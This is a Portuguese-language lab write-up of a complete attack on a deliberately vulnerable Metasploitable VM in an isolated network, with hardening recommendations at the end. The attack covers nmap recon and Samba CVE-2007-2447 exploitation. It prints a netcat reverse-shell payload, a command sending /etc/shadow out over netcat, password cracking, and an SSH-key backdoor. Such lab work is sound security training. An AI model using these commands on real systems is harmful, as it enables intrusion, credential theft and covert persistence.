Exploração de vulnerabilidades no Metasploitable

Ciclo completo de um ataque real em um ambiente controlado e isolado: preparação do laboratório, reconhecimento com nmap, priorização da superfície de ataque, mapeamento para CVE, explotação com Metasploit, pós-explotacão, extração e cracking de credenciais, e persistência mediante injeção de chave SSH.

1. Preparação do ambiente

• Atacante: Kali Linux — msfconsole, nmap, John the Ripper.
• Alvo: Metasploitable 1 — Ubuntu 8.04 (2010), sem patches, com múltiplos CVEs conhecidos.
• Rede: host-only, ambas VMs isoladas de qualquer rede real (192.168.64.0/24). IP vítima: 192.168.64.3.

2. Reconhecimento com Nmap

Escaneamento de versões para identificar exatamente o que está exposto — as vulnerabilidades afetam versões concretas, não a serviços abstratos:

nmap -sV 192.168.64.3

12 portas abertas, todas com versões obsoletas e exploráveis.

3. Priorização da superfície de ataque

Em vez de atacar a primeira porta aberta, classifiquei os serviços por tipo de risco antes de escolher o alvo:

• Acesso remoto (22, 23): Telnet expõe credenciais em texto plano; OpenSSH 4.7p1 é uma versão muito antiga.
• Camada de aplicação web (80, 8180): Apache 2.2.8 muito atrás da versão estável; Tomcat com credenciais fracas e potencial RCE.
• Bases de dados expostas (3306): MySQL 5.0.51a, versão antiga com acesso direto a dados.
• Arquivos compartilhados / rede interna (139, 445): Samba, historicamente um dos serviços mais explorados, com CVE e exploit públicos conhecidos.

Alvo selecionado: Samba 3.0.20-Debian — combina uma versão com vulnerabilidade crítica documentada, exploit disponível no Metasploit e execução de código sem necessidade de autenticação prévia: o maior impacto com a maior confiabilidade.

4. Mapeamento da vulnerabilidade

Confirmação da versão exata com o motor de scripting do Nmap (NSE):

nmap -p 139,445 --script=smb-os-discovery 192.168.64.3
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)

Samba 3.0.20 é vulnerável a CVE-2007-2447: o parâmetro username map script não valida o input, e um atacante pode injetar comandos de shell diretamente no campo de nome de usuário. Como o mapeamento ocorre antes do login, não é necessário nem usuário nem senha válidos.

5. Explotação com Metasploit

msfconsole

Busca do módulo correspondente:

msf > search type:exploit samba

Configuração e execução:

msf > use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.64.3
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.64.4:4444
[*] Command shell session 1 opened

Verificação imediata de privilégios — a vulnerabilidade dá acesso root direto, sem necessidade de escalada posterior:

whoami   → root
uname -a → Linux metasploitable 2.6.24-16-server (kernel de 2008)

6. Pós-explotacão: como ocorreu realmente

Inspecionando os processos na vítima pode-se ver o próprio payload injetado sendo executado:

ps aux | grep samba
root  4931  sh -c /etc/samba/scripts/mapusers.sh "/=`nohup mkfifo /tmp/iftpe; nc 192.168.64.4 4444 0</tmp/iftpe | /bin/sh >/tmp/iftpe 2>&1; rm /tmp/iftpe`"

O nome de usuário enviado continha o próprio comando (/=`...`): Samba o passou sem sanitizar para uma shell, que criou um pipe com mkfifo, abriu uma conexão de volta ao Kali com netcat e conectou /bin/sh a esse pipe — a execução remota de código completa, linha a linha.

Enumeração de serviços internos com netstat -tulnp: MySQL apareceu escutando em 0.0.0.0:3306 — exposto a qualquer máquina da rede, não apenas a localhost.

7. Extração e cracking de credenciais

Em vez de tentar crackear na própria vítima (consome CPU, gera ruído, deixa rastros), extraí os hashes e os transferi para o Kali para atacá-los offline:

cat /etc/shadow
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

Transferência via netcat e preparação para John the Ripper:

# En Kali:
nc -lvnp 4444 > shadow.txt
# En la víctima:
cat /etc/shadow | nc 192.168.64.4 4444

unshadow passwd.txt shadow.txt > hashes.txt
john hashes.txt

John executa três fases automáticas (modo single com info do próprio usuário, dicionário e força bruta incremental). Resultado: 6 de 7 senhas crackeadas, incluindo credenciais reutilizáveis para SSH, MySQL e FTP.

8. Movimento lateral e persistência

Com as credenciais crackeadas, acesso SSH direto como usuário legítimo:

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

Para não depender de uma senha que pode rodar, gerei um par de chaves próprio e o adicionei ao authorized_keys da vítima — uma backdoor que sobrevive a mudanças de senha e não gera alertas de força bruta:

ssh-keygen -t rsa -b 2048 -f lab_key
cat lab_key.pub >> ~/.ssh/authorized_keys   # executado na vítima, já comprometida

Acesso posterior, sem senha:

ssh -i lab_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

Descobertas

• Doze portas abertas, todas com versões obsoletas — a superfície de ataque não era uma única falha, mas o acúmulo de anos de serviços sem atualizar.
• Uma vulnerabilidade de execução remota de código explorável sem nenhum tipo de autenticação, o pior cenário possível para um serviço exposto.
• Credenciais fracas e reutilizadas entre serviços (SSH, MySQL, FTP) — comprometer um único ponto deu acesso a vários.
• Ausência total de segmentação de rede e de hardening básico (bases de dados expostas a 0.0.0.0, protocolos legados como Telnet ativos).

Recomendações de segurança

Eliminar protocolos inseguros como Telnet, atualizar serviços críticos e o próprio kernel, restringir a exposição direta de bases de dados, aplicar segmentação de rede e, acima de tudo — dado o quão fácil foi crackear as senhas — forçar políticas de credenciais robustas e não reutilizadas entre serviços. O mesmo tipo de detecção que evitaria este ataque em produção (monitoramento de conexões de saída anômalas, alertas sobre nc/reverse shells) é o que trabalho do lado defensivo no meu Home SOC Lab.

Conclusões

A priorização antes de atacar — entender qual serviço dá mais impacto com mais confiabilidade, em vez de testar portas aleatoriamente — foi o que levou diretamente ao Samba. A fase de pós-explotacão, vendo o próprio comando injetado sendo executado em ps aux, é a que melhor ilustra por que uma vulnerabilidade de validação de input se converte em controle total do sistema. E a persistência por chave SSH deixa claro que, uma vez dentro, o objetivo de um atacante não é apenas "ter acesso", mas tê-lo de forma silenciosa e duradoura — razão a mais para que a defesa em profundidade não dependa de uma única barreira.